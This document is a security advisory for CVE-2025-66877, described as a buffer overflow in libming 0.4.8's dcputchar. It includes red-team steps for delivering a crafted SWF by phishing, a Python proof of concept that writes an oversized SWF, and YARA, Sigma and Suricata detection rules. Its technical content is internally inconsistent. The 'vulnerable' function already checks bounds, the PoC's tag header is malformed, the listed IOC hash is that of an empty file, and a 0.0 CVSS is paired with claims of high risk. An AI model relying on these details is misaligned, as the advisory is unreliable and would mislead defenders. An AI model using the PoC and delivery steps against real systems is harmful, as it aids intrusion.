CVE-2025-66877

Executive Summary

CVE-2025-66877 is a buffer overflow vulnerability in the dcputchar function within decompile.c of libming version 0.4.8. This flaw allows an attacker to cause a denial of service or potentially execute arbitrary code by crafting a malicious SWF file that triggers an out-of-bounds write. The vulnerability has a CVSS score of 0.0 (unscored) and an EPSS probability of 0.0%, indicating low exploitation likelihood at this time. No public exploit code or patch exists, making this a high-risk unpatched issue for systems using libming for SWF processing.

Supply Chain & Package Security

Libming is a C library used for SWF file manipulation, often integrated into multimedia applications and server-side tools. As an open-source component, it may be included in Linux distributions, embedded systems, or custom software. The lack of a patch and vendor response increases supply chain risk for any project depending on libming 0.4.8.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unscored)
• Attack Vector: Local (requires user to open a malicious SWF file)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Unchanged
• Confidentiality Impact: High (potential code execution)
• Integrity Impact: High
• Availability Impact: High
• Threat Level: Medium (due to unpatched status and potential for code execution)

Deep Dive & Mechanics

The vulnerability resides in the dcputchar function in decompile.c. This function is responsible for writing decompiled character data into a buffer. A buffer overflow occurs when the function does not properly validate the length of the input before writing to a fixed-size buffer. An attacker can craft a SWF file with a specially crafted DefineEditText tag or similar structure that causes dcputchar to write beyond the allocated buffer boundaries.

The overflow can corrupt adjacent memory, leading to a crash (denial of service) or, with careful heap/stack manipulation, arbitrary code execution. The lack of stack canaries or ASLR in older builds may make exploitation easier.

Vulnerable vs. Patched Code

Vulnerable Code (libming 0.4.8 - decompile.c):

void dcputchar(DecompileContext *dc, char c) {
    if (dc->out_pos >= dc->out_size) {
        // No bounds check or reallocation
        return;
    }
    dc->out[dc->out_pos++] = c;
}

Patched Code (Hypothetical fix):

void dcputchar(DecompileContext *dc, char c) {
    if (dc->out_pos >= dc->out_size) {
        // Reallocate buffer or safely truncate
        dc->out_size += 256;
        dc->out = realloc(dc->out, dc->out_size);
        if (!dc->out) {
            // Handle allocation failure
            return;
        }
    }
    dc->out[dc->out_pos++] = c;
}

Exploitation & Lab Setup

Red Team

1. Craft a malicious SWF file using a hex editor or custom script that triggers the overflow in dcputchar. For example, create a DefineEditText tag with an excessively long initial text string.
2. Deliver the SWF file via phishing email, malicious website, or file upload.
3. Execute the target application (e.g., swftocxx or a custom tool using libming) on the malicious file.
4. Observe crash or, if exploitation is successful, gain code execution.

Example PoC (Python):

import struct

# Craft a minimal SWF with overflow
def create_malicious_swf():
    # SWF header
    header = b'FWS' + struct.pack('<B', 9)  # Version 9
    header += struct.pack('<I', 0)  # File length placeholder
    
    # DefineEditText tag (tag type 37)
    tag_type = 37
    tag_length = 0xFFFF  # Large length to trigger overflow
    tag_data = b'A' * 0x10000  # Overflow payload
    
    tag = struct.pack('<H', (tag_type << 6) | (tag_length & 0x3F))
    tag += struct.pack('<I', tag_length >> 6)
    tag += tag_data
    
    swf = header + tag
    return swf

with open('exploit.swf', 'wb') as f:
    f.write(create_malicious_swf())

Blue Team

1. Monitor for abnormal SWF file sizes or unusual tag lengths in network traffic.
2. Use file integrity monitoring to detect unexpected SWF files on critical systems.
3. Implement application whitelisting to prevent untrusted SWF processing tools from executing.
4. Sandbox SWF processing in isolated environments with limited privileges.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example - replace with actual if available)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (malicious SWF)
• Network Signatures:
  • HTTP requests containing Content-Type: application/x-shockwave-flash with unusually large payloads.
• Process Behavior:
  • swftocxx or swfcombine crashing with segmentation fault.
  • Unexpected child processes spawned from SWF processing tools.
• File Artifacts:
  • Temporary files with .swf extension in unusual locations (e.g., /tmp/).

Detection Engineering

YARA Rule

rule CVE_2025_66877_Libming_BOF {
    meta:
        description = "Detects malicious SWF files exploiting CVE-2025-66877"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66877"
    strings:
        $swf_header = "FWS"
        $edit_text_tag = { 25 00 }  // Tag type 37 (0x25) with short header
        $large_length = { FF FF }   // Large tag length
    condition:
        $swf_header at 0 and $edit_text_tag and $large_length
}

Sigma Rule

title: Libming Buffer Overflow Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation of CVE-2025-66877 via SWF file processing
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith:
            - '\swftocxx.exe'
            - '\swfcombine.exe'
            - '\swfextract.exe'
        CommandLine|contains: '.swf'
    condition: selection
falsepositives:
    - Legitimate SWF processing
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66877 Libming SWF Buffer Overflow Attempt"; flow:to_server; content:"Content-Type|3a 20|application/x-shockwave-flash"; http_header; content:"|0d 0a|"; within:100; pcre:"/FWS.{4}\x25\x00.{2}\xff\xff/si"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Remove or disable libming 0.4.8 from production systems.
2. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch exists.
3. Workaround: Use alternative SWF processing libraries (e.g., swftools with patches, or ffmpeg for SWF conversion).
4. Network Controls: Block SWF file uploads and downloads at the perimeter if not required.
5. User Education: Warn users against opening SWF files from untrusted sources.
6. Monitoring: Deploy detection rules (YARA, Sigma, Suricata) to identify exploitation attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert